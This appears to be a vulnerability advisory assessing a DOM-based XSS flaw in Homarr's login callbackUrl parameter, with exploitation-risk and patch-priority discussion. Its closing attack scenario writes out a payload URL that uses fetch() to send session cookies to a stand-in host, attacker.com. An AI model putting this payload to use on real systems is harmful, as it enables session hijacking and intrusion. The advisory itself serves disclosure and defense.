Homarr EUVD-2026-19287

Homarr versions prior to 1.57.0. Remote attacker crafts malicious link with crafted callbackUrl parameter on /auth/login page. Victim must click the link while authenticated. No special configuration required—vulnerability exists in default installations.

While the CVSS base score of 8.8 (High) reflects serious potential impact with network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), and changed scope (S:C), real-world exploitation risk requires nuanced assessment. The UI:R (user interaction required) constraint means successful exploitation depends on social engineering to trick authenticated users into clicking malicious links. No public exploit code exists and the vulnerability is not listed in CISA's KEV catalog, indicating no confirmed active exploitation. EPSS data was not provided, but typical DOM-XSS vulnerabilities in niche open-source projects show moderate exploitation probability unless widely deployed in enterprise environments. The SSVC decision framework would likely classify this as 'scheduled' priority rather than 'immediate' given the authentication page context limits attack surface compared to authenticated session vulnerabilities. Organizations using Homarr should prioritize patching based on deployment exposure and user population rather than CVSS alone.

An attacker identifies a company using Homarr for internal dashboard access and crafts a phishing email with a malicious link to the organization's Homarr instance: https://company-homarr.internal/auth/login?callbackUrl=javascript:fetch('https://attacker.com/steal?cookie='+document.cookie). When an employee clicks the link and authenticates, the DOM-based XSS executes immediately after login, exfiltrating their session cookies to the attacker's server. With stolen credentials, the attacker accesses internal dashboards, pivots to connected systems visible through Homarr integrations, or performs unauthorized configuration changes. The low attack complexity and network-based vector make this exploitable through standard phishing campaigns without requiring technical sophistication, though user interaction provides a defensive opportunity through security awareness training.